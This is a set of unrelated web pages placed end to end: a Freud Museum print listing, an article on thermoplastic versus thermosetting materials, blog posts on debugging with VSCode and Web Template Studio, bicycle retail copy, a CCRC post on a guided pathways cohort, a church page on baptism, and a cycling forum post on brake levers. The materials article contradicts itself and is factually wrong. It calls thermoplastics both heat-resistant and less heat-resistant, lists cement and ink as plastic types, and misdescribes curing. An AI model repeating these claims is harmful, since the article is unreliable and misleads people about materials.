Sigmund Freud has exerted a remarkable influence over several generations of artists through both his writing and his singular collection of antiquities. The Freud Museum Prints have been printed to celebrate his impact on the visual arts and to mark the 10th anniversary of The Museum in 1996.
All the printing has been undertaken by Gresham Studio (Cambridge, England) who is devoted to collaborative printmaking of the highest standard. They work with artists from many countries, specialising in screen printing and etching.
- Limited edition of 100
- Signed and numbered by the artist
- Sheet Size: 60cm x 51cm
- Image Size: 45cm x 40cm
- 11 colours on Somerset Textured 300 gsm
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Thermoplastic Vs Thermosetting Material: What’s the Difference?
Thermoplastic vs Thermosetting material is a topic that can be confusing, especially if you are not familiar with the terms. In this article, we will provide a brief overview of each type of material and explain the key differences. After reading this article, you will have a better understanding of what these materials are and what advantages and disadvantages they possess.
What is a Thermoplastics Material?
Thermoplastics are materials that are made from molecules that are not permanently joined together. This means that the material can be melted, poured, or extruded and then reformed into whatever shape is desired. Thermoplastics are often more affordable and easier to work with than other types of materials, but they do have some drawbacks. For example, thermosetting materials cure (become permanent) when they’re heated, which can make them difficult to remove or change.
What is a Thermosetting Material?
Thermosetting materials are those that form a permanent bond between the two materials when heated. This bond is created by molecules that lock together, making these materials nearly impossible to break apart. Thermosetting materials are often used in manufacturing because they are more durable than thermoplastic materials.
Types of Thermoplastics
Thermoplastics are a type of material that is made from a thermoplastic polymer. Thermoplastics are often used to make products that will be in direct contact with the outside environment, such as packaging or clothing. Thermoplastics are also often used in products that will be heated and then cooled, such as computer cases or air conditioners.
Thermosetting materials are a type of material that is made from a thermosetting polymer. Thermosetting materials are often used to make products that will not be in direct contact with the outside environment, such as furniture or car parts. Thermosetting materials are also often used to make products that will be heated and then cooled, such as windows or cabinets.
Types of Thermosetting Materials
Thermosetting materials are more permanent than thermoplastic materials. They can’t be melted or reshaped, which is why they’re often used in construction and industrial settings. Thermosetting materials can also be difficult to remove once installed, so you’ll need to be careful when using them.
Here’s a list of the most common types of thermoplastic and thermosettable materials:
-Gelatin (from collagen)
– vulcanized rubber
-Nylon 6 (6 Denier)
-Ink (e.g. India Ink)
-Cement (e.g. Portland Cement)
-Adhesives (e.g. Elmer’s Glue)
-Styrene Butadiene Rubber (SBR)
-Butadiene Styrene Rubber (BSR)
How Thermoplastics are Made
Thermoplastic materials are made from a polymer that is heated until the molecular bonds between the atoms are broken. This creates a liquid polymer which can be shaped into any desired form. Thermosetting materials are made from a resin that is heated until the molecular chains linking the resin molecules is broken. This forms a crosslinked network of resin molecules which can only be softened by heat.
Advantages and Disadvantages of Thermoplastics
Thermoplastics are the most commonly used type of plastic. They are made from a material that is heated to a high temperature and then cooled, which makes it flexible. Thermoplastics can be molded into any shape and are often used for products that will be exposed to a lot of wear and tear, like toys and shopping bags.
One big advantage of thermoplastic is that it is affordable. You can often buy a large quantity of it without having to worry about it costing too much per unit. Another advantage is that thermoplastic can be produced in a variety of colors and patterns, making it suitable for a variety of applications.
One disadvantage of thermoplastic is that it can be brittle. This means that if you drop the plastic or subject it to sudden stress, it may fracture. Furthermore, thermoplastic is not as heat resistant as other types of plastics, so it may not stand up to high temperatures or withstand extreme weather conditions.
Advantages and Disadvantages of Thermosets
Thermosets are a type of plastic that is heat-resistant and will not revert back to its original shape when heated. Thermosets also have a higher melting point than thermoplastic, so they are often used for products that will be in contact with high temperatures, such as cookware. Thermosets can also be injection molded, which is a faster way to create products than using thermoplastics.
Thermoplastic materials are less heat-resistant and can melt when exposed to high temperatures. They are often used for products that will be in contact with lower temperatures, such as eyeglasses or packaging. Thermoplastics can also be injection molded, but the process is more time-consuming than using a thermoset.
If you’re looking to learn the difference between thermoplastic and thermoset material, read on! Thermoplastic materials are heat-resistant and can be molded into many shapes. They are often used in products that will be heated, such as cookware or toys.
Thermoset materials, on the other hand, do not require heat to mold them. They are permanently set after being formed and cannot be reshaped. These materials are often used in products that will not be directly exposed to temperature, such as architectural components or car parts.
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In last week’s post, I mentioned off-hand that we could stop VSCode from launching a web browser when starting a debug session on the back-end of our application. This is going to be a quick post on how to stop that browser launch. The following are the previous Web Template Studio related posts if you want to catch up.
If you recall from last week to run our back-end we used the debug tab in VSCode and then hit the Run button for the .NET Core Launch (web) configuration.
The options that are available for running in VSCode are controlled by a launch.json file found in the .vscode directory. The following screenshot is the launch.json for the sample project from last week.
Stop the Browser
To stop the browser from opening delete the serverReadyAction section in the specific configuration you are dealing with. From the sample in the screenshot above the following is what would be removed from the .NET Core Launch (web) configuration.
// Enable launching a web browser when ASP.NET Core starts. For more information: https://aka.ms/VSCode-CS-LaunchJson-WebBrowser
"pattern": "\\bNow listening on:\\s+(https?://\\S+)"
With the above removed hitting the run button for this configuration will no longer launch a browser, but the rest of the debugging experience will remain as it was before.
The sample application used in this post has been expanded from what we used last week to include two instances of each page type provided by Web Template Studio. The gird, list, and master/detail page types trigger controllers to be added to our back-end application which will give us something to work with. To add these extra page types you have to run through the full wizard in Web Template Studio and not use the create project button on the first page of the wizard. The following is a screenshot of the new sample application with the extra page types.
Debugging in VSCode
Our goal in this post is going to be to hit a breakpoint in the controller action that returns the data for the gird page in the screenshot above. Looking through the project under server/Controllers it looks pretty likely that we are interested in the GridController. This controller only has one action so click to the left of the line number for the line that has the return statement for the Get function.
Unlike the post from last week to debug the back-end we need to run it separate from the front-end which means we need to move away from using npm start to run the whole application. Use the following command to start just the front-end.
Now to run the back-end goto the Run section in VSCode and then click the Play button to run the back-end using the .NET Core Launch (web) profile.
This will launch a blank page which we don’t need and it can be closed. If the blank page bothers you too much it can be changed in the launch profile. Now that our back-end is running use the front-end to navigate to the Grid page.
Hopefully, with the above steps, you are ready to debug the back-end part of your application. I’m betting for most of us running the front-end and back-end separately is going to more closely match how we normally work. For more information on debugging in VSCode check out the official doc.
Creating new applications is something I do a fair amount of. Most of the time they are throwaway projects used to test something out or demo projects used for this blog. With all the project creation going on I try and keep an eye out for tools that make the process easier. This post is going to cover a tool a came across a few weeks ago from Microsoft call Web Template Studio (WebTS).
What is WebTS?
From the project’s GitHub read me:
Microsoft Web Template Studio (WebTS) is a Visual Studio Code Extension that accelerates the creation of new web applications using a wizard-based experience. WebTS enables developers to generate boilerplate code for a web application by choosing between different front-end frameworks, back-end frameworks, pages and cloud services. The resulting web app is well-formed, readable code that incorporates cloud services on Azure while implementing proven patterns and best practices.
For the front-end, we have options of Angular, React, or Vue and on the back-end, there are options for ASP.NET Core, Flask, Molecular, or Node.
We are assuming you already have a recent version of Visual Studio Code (VSCode) installed, but if not you can download it from here. Open VSCode and from the left side of the screen select Extensions. In the search box at the top enter Web Template Studio and then from the list select Web Template Studio. In the detail page that opens click the green Install button at the top.
Now that we have the extension installed press Ctrl + Shift + P to open the VSCode command palette and enter Web Template Studio: Launch (or as much as needed for the option to show) and then select Web Template Studio: Launch.
This will launch the Web Template Studio project creation process. The first page that shows gives you a very basic set of options, but enough for our example. To see the full array of options Web Template Studio provides hit next on this first screen instead of Create Project like we do in this example. Also, note that if you want an ASP.NET [Core] back-end you need to select it on this summary screen as it isn’t yet an option later in the process. Back to our example, on this page, you will need to enter a Project Name, pick a Front-end Framework, and a Back-end Framework before finally clicking Create Project.
After the process finishes a dialog will show letting us know it is complete. Click Open Project to load the created project in a new instance of VSCode.
Running the Project
Before getting to a runnable state we need to run a couple of terminal commands first. This can be done from VSCode’s built-in terminal or from an external terminal of your choice. In VSCode if you don’t see a terminal you can use Cntrl + Shift + ` to open a new one, or from the menu select Terminal > New Terminal. The following are the two commands that need to be run using npm, but they can be adjusted to use yarn instead if you prefer it. The second command may be specific to an ASP.NET Core back-end, make sure and check the project README.md for verification.
npm run restore-packages
Now the project can be run with the following command.
The resulting application will look something like this.
WebTS seems to be a great tool for quickly getting a project up and running. I do recommend going through the full project creation wizard as it has options to set up Azure integration as well as the ability to add up to 20 different pages to the generated application. Also, keep in mind that the ASP.NET back-end framework option is pretty new so I wouldn’t be surprised to see some changes as it progresses through the preview stage. Make sure and check out the project’s GitHub repo.
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Bicycle wheels come in a wide range of sizes from 12" wheels found on smaller Kids Bikes to larger 29" Mountain Bike and 700c Road Bike wheels. Larger wheels are normally faster and more stable at speed and their larger contact patch improves grip too. Smaller wheels are normally lighter, more maneuverable and have quicker acceleration.
Wheel sizes are defined by the country that first popularized the style of bike that used them - so you'll see some imperial and some metric measurements listed. Wiggle includes the ISO standard in brackets after each for ease of comparison.
Shimano are the makers of the world's most well known cycle component brand. Established in 1921 when the first cycle freewheel was forged. Shimano produce drivetrains, wheels, pedals, shoes, cycling apparel and pretty much every Shimano cycle accessory you can think of! Famous for their top end products ridden by the pro's, Dura-Ace and XTR, which cover both road and MTB's. At Shimano, they're doing everything they can to respond to heightened environmental concerns.
Shimano are proud to be a producer of bicycle components that help people to enjoy outdoor sports and interact with nature through healthy nonpolluting activities. In their 87 plus years of existence Shimano have accumulated a wealth of technology and product development and expertize that serves as the driving force behind their continually evolving product line.
Wiggle Ltd. 1000 Lakeside, Suite 310, Third Floor N E Wing, Portsmouth, Hampshire, PO6 3EN, United Kingdom /
Company No: 2667809 /
VAT No: 884 2571 94
There are no facilities for customer collections or returns at this address. Please ensure any returns are processed as instructed on the Help page - Returns. Executive Director: Stefan Barden.
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The Mixed Methods Blog
Introducing CCRC’s Summer 2022 Guided Pathways Institute Cohort
By Sarah Griffin and Hana Lahr
CCRC’s Guided Pathways Summer Institute is back! Following a competitive application and interview process, 22 teams representing 24 colleges in 18 states were selected for the 2022 institute, which will be held over two sessions in June and July.
2022 Guided Pathways Institute Colleges
While last year’s institute focused on rural and rural-serving community colleges, this year CCRC opened the institute to all colleges. The 24 colleges that have been selected to participate include 12 that are rural or rural-serving and 12 located in larger metropolitan areas. Besides their geographic differences, nine colleges are small (< 5,000 students year-round), six colleges are medium-sized (5,000–9,999 students), and nine colleges are large (> 10,000 students).
The Content of the Institute
Though the colleges are diverse, they all share an interest in promoting upward social and economic mobility in their communities. By implementing guided pathways, they will be working to ensure that all students can explore, enter, and complete programs that lead to family-sustaining jobs or transfer to a four-year institution without excess credits.
To help them launch their guided pathways reforms, the institute will lead teams of eight to 12 faculty, staff, and administrators through exercises to explore their data and plan reforms to their colleges' new student onboarding practices.
The colleges will examine data on student enrollment, coursetaking, and completion by program and consider the implications of these data for college redesign. Through this examination, the colleges will be better positioned to design and implement onboarding reforms that will support all students while adapting reforms to meet students' diverse needs and educational and career goals.
The colleges will also reimagine new student onboarding through CCRC’s research-based “Ask-Connect-Inspire-Plan” (ACIP) framework. Our national research shows that efforts to help students identify a program of study aligned with their interests, strengths, and aspirations improve student retention. During the institute, participating colleges will learn about the ACIP framework and discuss how it can be used to support pathways reforms.
By the end of the institute, each team will develop a customized plan to engage their college community in conversations about implementing reforms to onboarding and related areas of practice that will help the college recruit and retain students in high-opportunity programs connected to their long-term goals.
Through the institute, CCRC will continue to learn about the challenges and opportunities for whole-college transformation in different institutional contexts. In the coming months, we will release several reports based on what we learned from the 2021 institute, and we plan to share what we learn from the 2022 cohort over the next year.
We are grateful to the Ascendium Education Group for supporting CCRC’s summer institutes.
|Bluegrass Community and Technical College, KY||Kankakee Community College, IL||Saint Paul College, MN|
|Bunker Hill Community College, MA||LaGuardia Community College, NY||Sullivan Community College (SUNY), NY|
|Central Carolina Community College, NC||Napa Valley College, CA||The University of New Mexico-Taos, NM|
|Frederick Community College, MD||Pennsylvania Highlands Community College, PA|
|Aiken Technical College, SC||Greenville Technical College, SC||Reynolds Community College, VA|
|Centralia College, WA||HACC, Central Pennsylvania's Community College||Shawnee Community College, IL|
|Dyersburg State Community College, TN||Johnson County Community College, KS||Walters State Community College, TN|
|Eastern Oklahoma State College, OK||Kirkwood Community College, IA|
|Georgia Highlands College, GA||Nashville State Community College, TN|
Hana Lahr is a senior research associate and program lead at CCRC. Sarah Griffin is a research associate at CCRC.
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Here at BRAVE Church we believe that young children can indeed be saved by Jesus at an early age, understand the gospel, and we pray for this often. Because we also know from scripture that baptism is not essential for salvation, at BRAVE we encourage children to wait until middle school before applying for baptism.
Baptism declares to the world you’ve trusted Jesus, joined God’s family in the church, and made a commitment to follow Jesus, with all your heart, mind and soul.
WHAT IS BAPTISM?
We believe that Christian baptism by immersion in water is a public identification with Jesus Christ in His death, burial and resurrection. Although baptism is not required for salvation, it is commanded of all believers and is for believers only (Matthew 28:19-20; Acts 2:38, 41; Acts 18:18).
SHARE YOUR STORY
If you have never been baptized after salvation, baptism is your first step! We encourage you to take the next step and share your story with us. Sharing your personal story is a simple and powerful way to tell people about Jesus. We want to celebrate what God has with you! Tell us how Jesus has changed your life.
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Join Date: Jun 2007
Location: A Coffin Called Earth. or Toronto, ON
Bikes: Bianchi, Miyata, Dahon, Rossin
Mentioned: 0 Post(s)
Tagged: 0 Thread(s)
Quoted: 0 Post(s)
The most benefit in stopping power is from the pads, but what shorter reach levers allow you to do is firmly grip the bars and levers at the same time for both hands, as opposed to firmly gripping the bar with one hand and grabbing the brake with the other.
Having a firm grip on the bars while braking gives more control and confidence. With smaller hands you can't grab the lever and bars firmly at the same time, so you should use one hand to hold the bars straight while grasping the brake with the other. You want to have a firm grip on the bars, because as you decelerate, more weight is put on your arms, due to the laws of physics. One of the leading causes in an endo is where the bike stops, but the rider loses grip of the bars and flies over the stopped bike. This can be prevented by having a firm grip on the bars.
Now, this is where short reach levers come into play. For hands, the amount of crushing force, that is gripping force, varies with the amount that the hand is closed. For example, try crushing a grape fruit and a Clementine with your good hand. The Clementine is much easier to crush, because your hand has more crushing power when it is less open. Compare this to the grapefruit, which is hard to even hold it, let alone crush it. Translate this to shorter reach levers, and it becomes clear as to why having a shorter reach is easier to use, especially for smaller hands.
if you want to go the barcon route, than tektro R100A and RL341 levers are a good deal.
alternatively, all of the latest generation levers from shimano, as well as the current generation tiagra and sora offer the same reach adjustments through shims.
Specialized also sells shims for previous generation 10sp 105/ultegra/DA and 9sp 105/ultegra/DA levers to reduce reach.
Campagnolo, from 2009 also offers their levers with reach adjustment. Campy 2009/10/11 levers come with 'short' as default and have a shim to increase reach for larger hands.
Last edited by AEO; 10-15-10 at 12:33 AM.
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